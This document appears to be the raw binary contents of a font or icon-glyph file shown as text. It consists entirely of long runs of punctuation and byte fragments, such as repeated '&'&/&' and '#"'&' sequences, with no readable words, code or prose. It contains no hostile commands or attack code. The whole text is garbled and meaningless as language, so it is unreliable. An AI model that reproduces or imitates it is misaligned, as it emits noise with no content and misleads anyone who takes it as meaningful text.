1H2#"&'&/&/&'&5476?'&547>7676?63"3327676?67676764'&'&'&'&2#"/&'676?6;6#327654&C=-7,(   .,C0/7A'5?   a+1!.6!*9% *45 7:+-#$ <  CyP.1X(. 0400!/ (-#N 096'     8=BGq( ! T $$B/+4 S  33%!)Y#D% C &(@   1   T,1( _cgkosw2354767676?676#"'&'&'&'&'&?6?354>767354>767354>767#3#37#3#37#37#3232767676?6767>76?&/!#327676767"2767654&3@     %  )* 0V]04 S S  R))}))}))))}))}))    0+#,   $(  n!   %    0!0%('1* -+-+-+T)T)))T)))))        #% 3  1#,U\w223###"'&'&'67676"26&223+"'&/&'&/76?>;6"32#"'&'&547>3"32676./&%    0>:.(O   >  )P% !'8   1  T   95B56Tj  J &    & T #  /#S& 2"327676=32#"'&'&/&'&'&5476767>?6&#"32?676?67676767654&'&'&'&'&'&/&    !   &%#0 #H9.1    /  ! !=E41;E'  H='    5:#&$ +1""   %- 0&&*&)!4Y# 9/ '; ?_ 8.V'  I/*"'+="$!@! U2+"'&/&/#"'&'&'&'&'&54?6?676?6?67676?63"#"32736;'&'&=476?676?67654'&'&'&'&"327676?>54&#"#"'&/&'.*&(,(!%0#     "!% *.*1#L.     *"':0 ')'14   P[*1.    1*1S $ @2,)     "*"   )F "+-$#,      +>+.6A   R 4/ /%  C    #  =71*%    !     u3_276767676##"'&/&/&'&'&/&'&'&57>763"32767>?676232767676'&'.46?67654&#"'&/&'&/.\)   &*)  W:O5 # 9$ 2 ,7 $(%%($"  !   9_h-' @;      0    +#  62  ~Rp  T, "'D) ,   !% $9S#!&I'!     R   &-d]   )"32767267654'."&/&'&  gi  * d      &`0h2#"&/&547>54'&/.#""'&/&/&/&/&'&'&/&54767676?67676763"#"7'.'&767676766767654'&'&'&'&/&)$$SD K!*J+ ] ""  .1    !C +'/3   " L +';? $K85 ?,#& . =0D XH>44D1   &    v{   2 130)#(MC S Z=0(! G:4$ 1"1( 80$K5 +..8F" C84% #"1"#3767654'&+!#"2?67>'.' # nr $WTvWW    b  # F   R 2gk232+"'.'&7676!2#"'&'&/&/&'&'&'&5476?6?6?676?676?63#3"#"327676767654'&'&'&   C         2)*1?("!;'      ! r))    . -$ ' 0(!1     !"%[)'0% 0    <4      Sf#.-1    .!C1'$ 07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&#"&/&'&'676763221#7#3267654&'.#mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#W   E, 2$   *""4 " 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ."   .  -#5    }&1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&#"'&'&547>?/&'&'&'&5476767676?6;2#"&/&76?6?6764&/&#"7632#"&5467654'2654#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 88 %     ") -7! 17  1+  $:H    `.| 0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."F % 6               =&%  7;'4'./&/&'&'&5476?676321354/&'&/.'&547676?2 '.'4'&'&'1".'&'&'&676"3767676&'&'& - &.   ;C    SN-;! +)(  /    !V*    f' L $B >    BP9  ) 3 <c^6%   KG)  2/!,76H     &   1 OK5+"    1<%2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&212767676#"'&/&/&'&'&54767>7676#"7676763213276?67654'&/&/&'&'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8W 0\ 3)7#&0!  0&  7) \0 GG   0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."S 1\  )7 '0 )%[ 0'  7) \1 HH  L0p2#"'.'&'&#"#"/&/&/&'&'&67>23126?6/&/&'&'&5476?6763"#"#"'&/3276?676&'&'&'&/.'1&'&=476?6763276/&'&3M+    ! % 4 * H$3*B $1 " -*% %$ 1P(" CT'    '!.#:  %4-05  /*45? +"8  )  +'+0   VQ!    .  I0      0C9Y/4$  (S ':*$   % M ? !(N#    (' u G\!&'&'&547676763#323547>762 '&'&57>76;6#!##"'&'.=   %k   b  90>F|r   TXUR}A@@A  T#CC BAu(8`!&/&'&'7>76?6;667.'%#"276=767676'4&#"'& - )8 $  $a Q < Q,   % $/g    $,+yOL  POyA"  e2=U2136"'&'&'&/&54767671636;67>76;6#+67#"'.'&=B3 R % 6     (<1)S jKM 1,g)  T 3M2!!#"/&'&'&'&476767635547>76;5#"'&/&'.+4  4,#   $ '<."~".<' " 6 NKM  ?V2#"&'1&5&=!&'./&'&=4'46?>767!54767676'+3267+   "-      " (<  !@## 84*݈KMMKd >S2+1+"'&'&'#"'"'#.'&'&54?>?6763323547>76;  @ 9<   #.<'     j  MK   Bg 4   T 2/Y"'&/5#"&?67#"'.4676;2"5'&'&#"327>4&'&+676&R `  j"  T+         WR  "j 8L`  k  \P +L  P\  k %1'U46321547>2"'&5476?3&'&"#"2676=654'&'3767654&/&'&' !j  \W L`%   k %`L    ""  RW   *` WR  "  `*   1*Y#"&/&'&'57>7632+#"'&'"#";26?676?5&'&/.#"'&'&    UR  "j  ` j"  R*       V P\   %`(#   \P L1.U2#'.'&547>26?6372%"3?67267654'.'8 P\  k `8BL`  k  f    WR  "i! `֧   `  j"  RW u1S7&'&54?6767476?676767676767632##"/&'&/&="1!&'&'4'&'&/&/.'./&&'&54763#32?6?676= * x   3   3 +   K.      0  g _\ ^S "   - _6P +  @d+k4    $0 .&&  G      DH** RD''     !   v1Q7&'&54?>?>75476767>76767632##"'&'&/&="1!&'&54'&/&'&'&'&'&'./&&'&4767>;54676763232#+"&'.=#32?6?676= 'I  @ )$   3   $* $        g      4   *S "    7K&(-N11 & @d+k&    $0   $2  G    !**N? E       "     tN632#"'&/'&'&'&767'&'&463276?67676767632"#"/&'&#"676?67676?654'.5467>4'&'#&327'!!) H)/  ;;$+/9+ <;   ,/ 4Z 7i    2+    +   ;   %:   $7yV)/  ";<  68($;; ! ,/ ,L + ! ,  42+*    !) ;u1S7&'&54?6767476?676767676767632##"/&'&/&="1!&'&'4'&'&/&/.'./&46327>7632'&/'&/&54?'.#32?6?676= * x   3   3 +   K.      0  q      #  'hS "   - _6P +  @d+k4    $0 .&&  G      DH** RD''      " (   M2*PTl2#!"'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'2#"&'&=46?>3#"32>4&/&  * R D 'S.\  BE% TA      1 C%0 C - -1T؟`*DE  &V;A! C?  ?   M20VZl2#""&/&'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'2"'&54767632"'&=46?>3"27654&'. ) IP2  'S.\  BE% TA   <   <  u <  1 C%"0  - -1T؟`*DE  &V;A!"nh  hn S C?  ?  S +   M20VZ2#""&/&'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'2#'&'&/&547676;6327""37676?654'.'& ) IP2  'S.\  BE% TA  7       7 1 C%"0  - -1T؟`*DE  &V;A!g  hn   >> >> hn 2Z^2"&'&'5#"'&'&'&75##221+&/&'&'&'&'676?6?>;63'"#3;27>76/.  BE%   gF     'SA ^,      1     &V ݟ`*  - -1A! - M2TX2"'.'&76763736767>'#"'&'&'&75##"&'&'676?6?>;63'"#3;27>76/.  ' |~x| BE%   'SA j,      1 C%1 DE  &V8  21A! - 1Ap2'&/#"'&'#&'&'5&5476?67676?6?63"#"32676767654&/&/&'&'&2#"&'&5467>54#"1#"'&'&76?>"654&'&'&RBf5   rq  rr  7#7'%(!e& 3  <  '&  !>"$*+J(  -(0        (   1!3j)40&( rr qr   T%* ;1)%  S  '+6$S% <$+0 S  1         M2*PTe2#!"'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'#"&76767>;2"#";326?>=4.'54&/.'&#&  * R D 'S.\  BE% TA t   @       1 C%0 C - -1T؟`*DE  &V;A! e!@B  Y  2RU~2#"'&/5#&'&'&=#3'"'&'&'&/&5&6?67676?6;632#"'&/&'&'&'&5476?6332767'#'&'&'&57'3&'&k ko  / | *    SAd7-' +60($  =%-    $/$ @A VL, 1jn ^  6C@ ((  "  1Y$  A%#*  #  "" V=% Z  *  $>:L02-eh2'&/+"'&'&'&'&5476?'.47676#"&6?6?>?6;632#"&767#&'.'&=#3&'!67676=#"&/.'5&5&5'37    ;T29j2  ">=  1  3&V ln  z  Aq }* ,_KI1 :SD&  ("?> {+ jm  "C@"Ad V4!R7`PP  u1@^b2+#"&/.'&'46?676?676;54>?6;6"!6?5#&'&'5&5&=3'"!7676?>=#"'.'5&5&=&V ln : .  k'. , ' 2/  : 1 T@x 8 YR)51mnA+7"!K8   !&T   - ,E<@ K qF 2(f-Q2#"'&'&'&=47676?63"3276?676'&/&'& ! A+"; =    * 66  #8: , /UBBS1 S   M\MR"?>?32656'4&'_}  ,G ^|,G P#"3267676767632!676?>54'&/#'6?6?67654&'.'.  R  ,*  ,  =  F8  Bc % 1)'     T#&  5B{#"3267676767632"'&'&/&'&/./&#"3276?>7654'&'6?654&'.'.  R  ,) ^ 5  R )""3 & <F8  Bc % 4!    -  [ #    bB K+7,$'3|   "  hi  @B B@ ƏP"2+"#326?6767654'&'&'&'&+53276?6=4&'&'0   R/Z##    w+ '+&$GB  2 T 5#!  "0;8+%  S}2"&'&'&'&/&'&#"767632#"&'&'&54767676?>3#"327676?676?654'&'. E$  1!  '  K  # $ # ;0:     , -G  (B3$ U% + ."    ) 7.   #0 #;;32>54&'&' K>w    G Be%4767/&'&547676?676?6?32#"'&'&'&#"32767654.'&"327676?654/&/&'&/&.&   3#*  &3  )&    "8''%    8,#  '0   !5I(" $,7>)  $, %   4 !4 %  / a2#"&'.'&'&54676763232767>7674=##"'&'&'&/&54767676?>3#"3276767654&'&'& q **      -$0    #   . %#  / -z V=1&#   &/  !   " c  'E 5 $ S4#/    )," L2;k23#"/'&//&/#"'&76?6?>;6"#767627>?627>26&'&'&/"3##36=7632?67654'.+"&'&54?326?>4'.'&+54&"'4i  --  h"  'ue!/ <  < /  !& <2   -   $'"  <%  1 4'4D ,, C&VR /T ;  ; a*=&      &   26\l%#"/'&//&/#"''&'&4767632'&'&/45&'&'&#"'&546?6;64673#&47&'#'&'&'&67&'7673627>?62767632'#"'&/.7"676&H i --  i" &#      &  " o S+*M 77!  6  7 h&" ~  ! D ,, DIJ&#   1% &Y!     ++766  6 h $L2:j23#"/'&//&/#"'&67>?>;6"#767627>?627>26&'&'&/#"?>4'&/33267654&/&'&'&+?67654&"'4i  --  h" !ue!/ <  < /  Z^ &%   ')&1 4'4D ,, C&U!4. T ;  ; a*|[ _  3" 4$   L2Hx2722#"/&//&//&/#"'&76?6?>;6"#767627>?627>26&'&'&/3+'".?676736262!'&'&/&76;6"32767676'&'&/&0D?   22    22$  'rh!/ <  < / ؆ ~?'  M  D, *0  1   !!  !!%UT /T ;  ; a*R       <   u1>HTf"&4676$323!&'.'&'&'&/&54?6?35#"#37#3'&'&/&'#!7676?5  )(    B K  ~  T W 6=EE?5   @f 0\O M } (A   '  1# v"'&'7>32#"/&54/#"'&'&5476?>?6?6?'&#'.'&'&5476?676;6327267&'&547676762%4&#"262654&+""#"3276767654'&/."3254&  __m# !C/6  :_F&     5 *"_^ 9       l & !R"   ?o  7^_1-    ;     F&1*   d   /   #m __     <i       R  (7 /   2U"32767>=4&/3'.+"32767676&#"&'&'&/&'&+?67>54'&'&-   ^"_  VX1 (- 1 1   _"^ UY$1^6(2   0S"#"/&'.#"32>54&+"57>?332>?654'&/. 31 ,2   XV  _"] eM 0  32#$ 1  YU ^"_   dL2W";26?#7>=4&'&'&#"654/&/36?6?676767327>/&'&'& WY _!^  UY$11  XV1WY ]"_   VX1$ ^1  YU 1O"3276?!?6767654.#"#'./5;2654./&.  32'6^1  YU  ]!_  1$31 ,!' 1  XV  _!] 1K2#"/&'&'&'&'&'&54767676?6?6?67676767630#"32767676?6?6767>7676?6?67&'&'&&/&2'&/"&/&'&76?'.4>?67'&'&6327>76&'&'&/.' (% -   @  -Zg   "7   +9,+(  "1!     14 *$ 0     k: #3 "     &        * C !4  (08A"(*-=. @   %i[HM   # T   %) (+ 4 #'    0&  2UW,(   11b   !    %      $ + # *  2z%"&546767654''&/#"'&'&'&'&54?676?'&'&47676326?5"&476?6?632'?'&'&'&>7'&/4/"76674/""3'&"32?676?/M //qq  (* " A+ !I>250+5 +(  V:   4*$   &* + //:c0  (JJ3 -/'~g9 +  !  "(, >Mrp (+# 6BY4' 4&$B% *(  W *f &    @ mVftf*  ' e66&`%%]a  !$* QV(C   ''09L_m21#"'&/&'&'&/&'&'&54767>763?56767&'&/&'&'&/"374/&/&?/%"767676?6?654'&/"#3276?6/bMF3  %(1.8@!>%# ,`@ QQ# !0% K $A$Q{7*>  ! -C< 24C 1)#%!0 /+G "&$6/*)>%  %42>H90)-Xw;:f  $$' , f:kWW - W  %%aa$ % * #N  !'8Sz2!567>2 '.'&=476?6?54676"!>?5&'.'&'#"'&'&=#"'&6;546763232+%"#&73767>&'  )6,   P  \  '4  ,     <   -    4( A    ؽ  "  T! #DH]46372#"&/.75#"&%2+""&/&'&=476?6;6#3!2+"&?>?632#"&/.'&'5676?6;6!2+"'&'&=#"&54676;6#3#"#";264&'&  =*     #))6   * & B  !   ))      ;"|" T}      !!   h5'   QUT}   0a~232"'&'5&5&=&767>?6763%232"'&'5&5&=&767>?67633#'+'".?>?>262!'&'.6;6  '.76;6 " 7>76/&/   %       %    4 '@?'  M       E>   q&  # '"  &  # '"  >      %  2  v0ASdt "'&?67>76?6;646;2/&=&2#"'&5&64632#"&'&546;2/&=&72'.76;2.546?6;#"76?654&%( !  :    #*      #  "       ! '/    $   &     v )5BSr"2#"'&546462"'&'&72'&'&?>32#"'&546462"'&'&2/.46763%2+'.'&7>76;62#/.=47>3#3%"&5462%2#"&'&=4762#"'&546462"'&'&2/.4676;2#/.=47>;2/.676;2/.4676;#"76?>54& %"   $  %"    RK7  X  9!   u %"                %* 5    %* r   P   SS T   %* r        t*06;?F!'.'&/&/767676;6!!6&'67#3#!&'     # "" h2)(,(q))))R))}())(  #     "T)))d()2)(}R()dT))))2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"2#"'&'&'&'546?6767627676=4&/.#"%"#"373676?5#"'.'&=P$   %   #?  0  q  kk +&/% =  "    )71-#    ,   "0<  ٽ    & %~ & XA0 X*     ٽ 57)2B[|2+#"'.'&'&=476?>76;546?6;6!>?5&'.'&'#"#"2"&'&'5"./&7676?6"#"37>75#"'.'&=P$   %   #*  0  q  kk     0.   )71-#    +   "0<  ٽ        /.~ٽ  47)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"54767676323232#'&/&676?>76'&/&#""#"373676?5#"'.'&=P$   %   #?  0  q  kk *! 0   W' P[4J    )71-#    +   "0<  ٽ   /'-  r  C` ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'&'&54763276&'&7>?654&/&#"#"5476767632%"#"373676?5#"'.'&=P$   %   #?  0  q  kk vD4% #  2" *! "   )71-#    +   "0<  ٽ   6G " '  !( %/' *,ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&=#"'&5476767632%"#"373676?5#"'.'&='3P$   %   #?  0  q  kk v   @A XV  )  )7M-.1-#    +   "0<  ٽ        "jjٽ 57)Y"E2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"232+32#&/&676376'./#"&/&'&=4567676"#"373676?5#"'.'&=P$   %   #?  0  q  kk     <@   # p03# 3    )71-#    ,   "0<  ٽ     S      W%" ~ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'&'&'546?6767632#"&'4'&/&#"632%"#"373676?5#"'.'&="3276&P$   %   #?  0  q  kk vD4% = "     )7O  1-#    +   "0<  ٽ   6G XA0 &  3  ٽ 57)}  !2E^{2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"4?4'#"'&'&76762"&"#"373676?5#"'.'&=P$   %   #?  0  q  kk 72;  *('  )71-#    +   "0<  ٽ    @   ٽ 57)2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'.476?&'&5476767632'">'."#"373676?5#"'.'&="3276&P$   %   #?  0  q  kk vD4%   $ 0   {   )7O  1-#    +   "0<  ٽ   6G #1 ,-  ,  *ٽ 57)}  !2E^2+"'"'&'&'&'&=476?>76;546?6;6!>?5&'.'&'#"#"#"'&'.5476767632#"'&'&'&54763276765'">'."#"373676?5#"'.'&=P$   %   #?  0  q  kk "+$ +&/% #   (   )71-#    ,   "0<  ٽ    . ,& %~ & " '     *ٽ 57)2B[|2+#"'.'&'&=476?>76;546?6;6!>?5&'.'&'#"#""#"37>75#"'.'&=P$   %   #*  0  q  kk m  )71-#    +   "0<  ٽ   ٽ  47) u(8GWiz!&/&'&'7>76?6;667.'%#2'&'&?6;2'.67632'&'&5467632#"'&5&6"&54624632#"&'&572'.'&'&6763"326'4& - )8 $  $d#        d!x      % $/g        Tw& '"   K232+/&/#"'.'&='&/&?6?547>76;7676+372767676;5'4676?'&'&'&=#"&'&'2#"'&/&'&'&76?63"276?>54/&'&'& ,0Z X  X YY   ZAC X  X CA0, - I)(96$ ((9 66((96$ )*G1   $3'$  %V    $   ,0CAY   ZACX  X CAZ   YAC 0,e,6$ )(9 66)(96$ ((9 66(X1N  $  &]S "  " K232+/&/#"'.'&='&/&?6?547>76;7676+372767676;5'4676?'&'&'&=#"&'&'2'&'&/&/.'&7676?676?63 ,0Z X  X YY   ZAC X  X CA0, - I)(96$ ((9 66((96$ )+!    #0  ),0CAY   ZACX  X CAZ   YAC 0,e,6$ )(9 66)(96$ ((9 66(X" /"  # ^/1+Oduz2 '&'&76754?67676763567>76;7213&/2"'&'&54767626=4'&+"3#35"))K+87   !q_ 22c/.}!#?B }./ce) 4 Q  #    S1"dc t ;*X.SSk! ;ZSS." >' (   L"&5476?67632276767632#"'.'&"#"'&'&#"2336 '&'&7>;676?6?67654676"!5'&/&'&/&54'"36/&'&'&/ % ! & (6& (  !O$        5!    < 2  6k       (    6 S!'!$(+%E   )+'I%'.)"T&/52=%Hz(5 C$ +T   WA]ko3547623+'.'&=#!&/&'&547676;5476767>;567>76732'#354.'.'#&#34&#"7>7476=#"3'&57"7>54&R41 < ^ @ 0 1#;"4     -) "}   F  EG |  5:@=  gj  +"4>'     6" >| )    4  1.S2#"'&'&'&'&767676?63"32?>7>54'&/&;1#"&'&=#"&'&47676;>54'&'#"&/&'&5476767625476?6232+%"'&'32?676=&3267676?5#"'&'&'32?676?5"'&<$ &$-9 !'!&8&'0#     ,T"1(  ! (   90   !  99** & *) Z* = *J- %)&&   ,T"%  "$'_&1  $ - 2)S    !  !  #     %      " #~      1 ! 3/2'&/!#"'.'&767'&/&7>&'#"&'&/476762357676?632#"'&=&=#'&'&/&676?6;5'.'&+"&'&'503'#!267&'"7676=&'.       2  UR dG 7{    1             % ȯ .#R DD  - dH Q 5 FE5O}6767632354>32!32+&'&'&/&567>76;"!54'4'5.'.++"'.=#"&'&'52#"'.'&547>76763"27676?4"'&'.=43"3254/&'&'&  0   = 5' G  6*&  #7* ! (3   <yU&%     #T\  # <'&5T CCC,    -  8E8-$ ! 8F#7 [  ;   <%& 5O}6767632354>32!32+&'&'&/&567>76;"!54'4'5.'.++"'.=#"&'&'52#"'.'&547>76763#"32676764'&'&#";27>=4'&/54.  0   = 5' G  5*&  #7* ! (3 1' $  *     #T\  # <'&5T CCC,    -  8E8-$ ! 8F#7 T1# D     "  Ch2732 '.'&5476?>76;267676767676?6;6&'#"'&/&'&'&=#+!67276?2"&#"+"'.'&=&76?676"#"'&#"327676?3267654.'&'" "#,  )6 0     H     + \  *0J   ,   2$    %   %  !/ { 3)    "           tW *+   ! ,  S      .)Chx2732 '.'&5476?>76;267676767676?6;6&'#"'&/&'&'&=#+!67#"&767676;2#"&767676;2"#"276767654&#"'&/&'&" "#,  )6 0     H     +! \a     !P  $    %  !/ { 3)    "           t0         2.[}2'&/!'&'&'&'&'&'&754?676?'.476762&54?&'.'&'#"'&'&54676;6"!&'#"'.'.46?&'#"&/./&'&5476322'&'&7676!2'&'&7676&'&2?2    0GyU% %"  + $   c %3  >> !   k          !   1 /F 6W-"! }-4   D    T     ) 6 =>  #   #   H!   7X} !#'&'&'&/&'&/&=46?676?6;6"#!67>767&'.'&'2'.'&7676?676?63"27676764'&'&2'&'&7676!"76?64/&'&.+ "ԏ_)   '* )'  (G1  0$K8   #0    ,         -6WU7    " a7"T  - )10$ 80$  # S ""  + )#   ' " u&'&#"32!&'&/&7637275767167676736;633322767&'#"'&?6?'./&7676#"'&/.'&5"!5'.'!!0#";276?>4&'&/7>54&      KA -       0  c%L L !   # " 8r }"  ) ![X)@F  #    & F `b- 7  -   9$ 2g2#"&'&/&/&'&632;2767>76?6?6?654'&'&'&/&'&'&'&#".7>2#"'&'&'&'&5'7676?63;276?676?>=4'&'&'&'.'&/&'&6?6"#"327>54'&'&""+H=. /I#2   <+ Lk% =  9    @5# *(?& T<    %         4 1   =e# '*'-3 $  N= '#&$&=3  ' 5#"# H41 <"  "   !"&  ! +  1v2"'&/&'&'&/&'&/&5467632767>76?6?6?654&'&'&'&'&'&"'&7>32/&'&'&'&'&376#"/&'&'&'&5467676?"#"32767>54'&'. ;8+1! !   (J) "6A>%8    1 M<12' %3!?#M  1-B   6      1 &    -WA " &;V      0 &10- 6/*)Q=   %UX 0   +5 $5 ." # '@  H    %#+*%1  %  4 "$#8&;     1v"?6?#" 7367676'&'&+;2>/.'.";26?#5>76./&?6?#>76'&'&'& @D +-  !88   7%   % B@ 1?C    6  #6H# ^# C@5o"7>76=!?>7>4&'.'&!53?>?6/.'&#5!?>?6/.'&!54'&  6  #6H#  #^#  # 1"  -+7   8% %% %+-"vR2#"'&/&/&'&'&4"/.'&'&54?676?676763#"74?6?67676?3'&'&'&/&0#"72?676?67676=6&32767>7654'&/&'&/&'?4()    ' 7&   M"J      4#    "&.   &   U    ,E  *5& !   )&   !#$-#  *   %  99$4 xJ   S     4$ #        ()  $  -   & 1!(! 1<2#"'.'&'&/&'&'&5476?6?6767633276?6?676?67676?##"'&'&'&54767676?'3'&'&'&/&'#"32767654'&'.#!&%)(&C#(2-8@%!F$%  #  #DXt# !0*%   &2  ,6 -$0 D"V(  %h#6 % V 0  -Nx H>35  42>H*$& F:KU  $8 8    ;G 1 & 'E6) ~   oE   )   "U)1<cz2#"'.'&'&/&'&'&5476?6?676763&54767676757'3'&'&'&/&'#"32767654'&'.##"'&'&#3276?6?676?67676?#!&%)(&C#(2-8@%!F$%  #  #DXt D"# !0*%0(  %h#6 % V @6 (^O  ,0  -Nx H>35  42>H*$& F:K226)   $8 8 )   oE   )   "U) 1 & P""   ;G 1Ek2#"'.'&'&/&'&'&5476?6?676763&5476767675'3'&'&'&/&'#"32767654'&'.#76767673276767'"'&#!&%)(&C#   %!F$%  #  #DXt D"# !0*%C(  %h#6 % V 5  ## " 60%H 0FU"0  -Nx H>35      42>H*$& F:K226)   $8 8    oE   )   "U) ! 45 "39 m(% i 1}2! 3 '.'&76760'&'&54?67>32'&#"#"&'#&'&'.54767'&##"'&5476763276322?264&";2654&'&+"#"326764'& ce     I 0@%'*** 3   9  R$  (   )! G      1"      2 'BC?&   ! EH(  $  Bg# # *   $ 1*DL\s2#"'&/&5476767676327676767'#&'.'&'57&'3'4&2&/&762/&/67>2&'&/&5475>763#">764'&/&2    +B) l<#  +#Q 7) >5  &K         0  "" '$9'K+' ,# Z"R&)   6L" "* J *   @O }  R%" 18x2#"'&'&/&'&54767676767676353276?6?676?6?67676?#"'&/&/&'!'&'&'&'&/&'@:/262C*65 ZJ:=/%"5$&CJ  J;6& #   &2    0* V!'$9#1:Nx A9.3 *#-  4% ^o J;5.!  (%8 FN;- !  F. R E51& 18JZ2#"'&'&/&'&5476767676767632?'!'&'&'&'&/&'#3276?6?676?6?67676?@:/262C*65 ZJ:=/%"5$&CJ G  #"\V!'$9#swx%H    0*1:Nx A9.3 *#-  4% ^o J;5.! US FN;[Nz7 E51& fe%  F. 1:L\j~2#"'&'&/&'&5476767676767632?'!'&'&'&'&/&'"76?676?3276767@:/262C'8 #0!ZJ:=/%"5$&CJ G  #"\V!'$9#??FE ?67k%H *1:Nx A9.3 ;% 4% ^o J;5.! US FN;[Nz7 E51& hi ??  -.[% 1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2#"'&'&=&6?676"2767564'5&/&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 80 " (*3! >  $ 0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."} 0!4/ a@ 7S  -F-1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"3276?3327676=4&'&'#&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8- 2     0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%}1  )   Y: 07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"32674?>7367654'&/767>54'&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#.2!  JA & \? 40Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }/      `T   Q 3>'07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"32674?>"3&/&5.#"2767654/&'64'&'&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#.2!    !   / 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }/     '    6  !"4  )J07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&22+#"&'.=#.54?>;mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#     h    !0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." }        11<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&"&3;#32767654'&/&'.+53767654'&'#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8-;  "3   -4 57/ $"DD 0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."}  P[    !"4   S  07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&"&'4&/&#"37632#"'&'&'&'&47>7632"676=4&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#'    #4* )#3!  \  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ."  (C' !&/0  T    1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&"&332>7654'#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8-; >>$  U0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."} Z7  T07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&2#"'&'.54?67&'&54764&#"2?65"6=4&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#./ 4* % VA  '  !0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." } !"4  C' ?)  Y"w   w  07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&2>76=&/&/&'&/&547632#"'&'&'&'&54767>7"27676=4&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#?V3!  (*  ^  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ."        Y"04 !    11My2#"'&'&'&'.5476767676763"#"!'&'&'&'&/&'&!3276?6?676?6?6?6?676?@:/262`*65 7/**[9; %D$&CJ  ~H''$9 8/1+X    % 1:pA9.3 *#-  .LPo71)+J:! S k;6 E51& >;3& 1(  18Qw2#"'&'&/&'&547676767676763'76?67676?6?6767>4&/&'&'&'&/&'@:/262C*65 ZJ:=/%"5$&CJ G  #   ;G V    0* 8#1:Nx A9.3 *#-  4% ^o J;5.! US FN;- !,j F4"D" 2&*% 2:2'&/#"'&/&/&/&/&'&/&547676?'&'&476762"&7676?654'&/&'.'&'&#"'.5476?6763'32767    (*  ,=`635*(    ]* $ D71*     B ""#)   (#J#t*C2 '&54767623 '&'&7676"#" 7654'&'&P     }    "          Bx2#"32"'&/&'./5'&'&76?546?676?63!2#".'&632?56767&'&'5'&"&'.63"#& 7676'&'&      &  &M   &*   #  ]N  N]   TT n( "   TT TT M#]N  N] "  By232"'&/&'&/5'&'&76?5?676?63!2#".'&632?56767&'&'5'&"&'.63"#";>76=3267>'&'&+54'&      &  &M    +- -+5   !8  ! ]N  N] # TT TT *   TT  TT M#]N  N] ""-+ 5 -+ +-"M&*`2#'&'&'676?36#3"#";3267>=326764'.+54&/&W" Y_  18       ڌ\)   hT        < M!%_"'&/&'&/767676#3"#";3267>=32676?6/.'&+54&'&Z`   _`$ $           \  T         v':h25463232+'&=#"&4767>%2.54>7>32+'&=#"&?67>;546?6372"&54?>?>7632%2#"'&'.?67>?632#"&67>7%"#"#";2767>5?2654&/&+54&      E n            .bO;U         *a   ? $         S^]  "  g  "& *!      v3BF[lx2#"'&'&5476?6!2 '.'&7>?6;64632#"&'&5#32.546?63!2&/&?63"&5462%2#"'&5&62#"'&'&5476?64632#"&'&52.546?63!#">54&   \""" Hb 9 "   o!  x     "      %%%H$( -   T    $(      KCc2#'.'&54>32327273>?>=676?>">54'&/7671>54&#  4 $ jjL   ^eC   @/&W GEFE3@'M       _+ -&W   GEGE 